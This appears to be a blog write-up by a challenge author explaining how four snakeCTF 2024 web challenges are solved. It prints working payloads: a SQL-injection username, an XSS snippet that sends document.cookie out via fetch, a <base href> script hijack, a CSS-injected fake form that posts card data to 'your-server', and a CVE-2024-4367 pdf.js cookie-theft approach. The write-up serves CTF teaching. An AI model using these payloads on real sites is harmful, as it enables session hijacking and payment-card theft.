Write-up5 min read

The four web challenges I wrote for snakeCTF 2024

Two for the qualifiers and two for the finals. A shop where the flag is out of stock, an AI girlfriend directory and its sequel, and a mail client with a PDF viewer one version too old. How each one breaks.

snakeCTF 2024 had its qualifiers online on September 7 and 8, and its finals in Lignano in December, which I wrote about from the organizers' side. I wrote two web challenges for each.

The write-ups are public in MadrHacks' repositories for the qualifiers and the finals. The finals challenges come with their source, so the code below is the real thing. The qualifier ones come with a solver only, and their sections follow the write-ups.

Affekot

Affekot is a shop, and its description had one complaint: the flag is out of stock, and the admin took the last one. The flag is in the admin's orders.

Players got no source, only the site. It's a Next.js app, and every Next.js build ships a file called _buildManifest.js that lists the paths of all its pages, API routes aside. This one lists three pages nobody links to: /dev, /dev/signin and /dev/signup.

Signing in on /dev/signin makes you the admin, but only inside /dev. The token comes in a cookie whose path is /dev, so the browser only sends it there. A cookie's path tells the browser where to send it, though, and nothing more. The development pages sign their tokens with the same secret as the rest of the site, so the server accepts the token anywhere it arrives. Send it to /orders yourself, and the admin's orders come back with the flag in a <code> element.

The write-up's solver skips the page and calls /api/signin straight away, with one extra field in the body:

response = s.post(url + "/api/signin", json={
    "username": "test",
    "password": "test",
    "developmentVariableOnlyForDevelopersDoNotUsePleaseDoNotUsePleasePleasePleasePlease": True
})

The name asks very politely, and it works about as well as asking politely ever does.

SlashGirlfriends

SlashGirlfriends claimed to be the largest directory of AI girlfriends. The description noted the clever name, and said the admins were hiding something juicy behind their credentials.

It takes three steps.

  1. Premium for free. Some accounts qualify for a free premium membership, and the check that decides builds its query out of your username. Register as ' || '1'=='1 and the condition is true for you. Premium matters because it saves your chat history, and the attack lives in that history.
  2. A message that runs. The chats store each message as a function that returns its HTML. The server escapes apostrophes in what you write, but \\\" gets past the escaping and out of the string. Report the chat, and the admin bot opens it and runs what you wrote.
  3. A way out. The bot can't reach the internet, so the cookie has to leave through the site itself. One way is Next.js's image optimizer, which was set up to fetch from any host: a request to /_next/image?url= with your server and the cookie in the address makes the site's own server carry it to you. The other way is quieter. The script sends the cookie as a chat message, and the admin's browser texts it to your AI girlfriend.
\\\"; fetch('/api/sendMessage', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ girlfriendId: 'cucalampa', message: document.cookie }) });  //

With the admin's cookie, _buildManifest.js again names the page nobody links to, /admin-page-very-important. The flag is there, in a <code> element.

SlashGirlfriends 2

The finals brought SlashGirlfriends back. According to the description, the admins hadn't learned their lesson, and this time the secrets might cost a little to uncover. The flag sits with a user called marco, whose about-me says he trusts his AI girlfriend, lilvirgola, with all his heart, and would click any link she gives him.

A script with a borrowed address

Profiles have an about-me in Markdown, rendered with raw HTML switched on:

<ReactMarkdown rehypePlugins={[rehypeRaw]}>{content}</ReactMarkdown>

Most tags are harmless there, but <base> isn't. It sets the address every relative URL on the page resolves against, and every page loads one script by a relative URL:

<script src="/console.js" async></script>

That script prints the site's name in rainbow letters in the console, followed by "Pls no hacky wacky". Put <base href=https://your-server> in your about-me, and the browser fetches /console.js from your server instead. Report your own profile from another account, and the admin bot opens it, runs your script and hands over its cookie.

The admin's view

The admin panel lives at /admin, another page you find in _buildManifest.js. It shows the chats, and it can send messages as any girlfriend users have created. The chats show marco writing to lilvirgola a lot. The server treats her messages to him specially: when one contains a link, a bot plays marco and opens it.

A form that isn't the form

Buying premium sends you to a separate payment processor. Its page shows your username and email in two disabled fields, and the template writes them with EJS's unescaped tag:

<input disabled type="text" name="username" value="<%- username %>">
<input disabled type="text" name="email" value="<%- email %>">

A username can close the attribute and write HTML. Scripts won't run, because the page's Content Security Policy only allows them from the processor itself. The policy allows inline styles, though, and styles are enough. The username closes the real form, hides every form without a class of show, and opens a form of its own that posts to your server, with the same field names as the real one:

"> </form>
<style>form:not(.show){display:none}</style>
<form class="show" action="https://your-server">
    <input name="pan">
    <input name="exp">
    <input name="cvv">
    <input name="notes">
</form><!--

Putting it together

From the admin panel, lilvirgola sends marco a link to the payment page for your account, the one whose username is the payload. marco opens it, and sees one form. He types in a card, writes the flag in the order notes, where the placeholder asks for no pineapple on the pizza, and submits it to you.

Snakemail

Snakemail is a webmail, and the description said the admin, at admin@mail.snakectf.org, had a secret in his inbox. The secret is an email from flagteam@mail.snakectf.org, which hands over the flag and asks him to handle it with care.

You can send the admin mail with attachments: images, Office documents and PDFs. A PDF opens in a preview at /pdf?email=...&id=..., drawn by pdf.js, and the admin bot opens every PDF it gets. Composing also offers a "Snakeify email" button, which puts a green snake badge on the message and does nothing else.

The way in is the version of pdf.js. Its source keeps the version in a variable called apiVersion, and searching the site's JavaScript chunks for it gives 4.1.392. That version has CVE-2024-4367. Before 4.2.67, pdf.js compiles the outlines of a font's glyphs into JavaScript, and it copies the font's FontMatrix into that code without checking that its values are numbers. Snakemail loads documents with the default options, which leave that compiling on:

PDFJS
    .getDocument(path)
    .promise.then((document) => {
        resolve(document);
    })

So you build a PDF whose font matrix carries a fetch with document.cookie, attach it to a mail to the admin, and wait for the bot to look at it. With his cookie, his inbox is yours, and so is the email that asked him to be careful.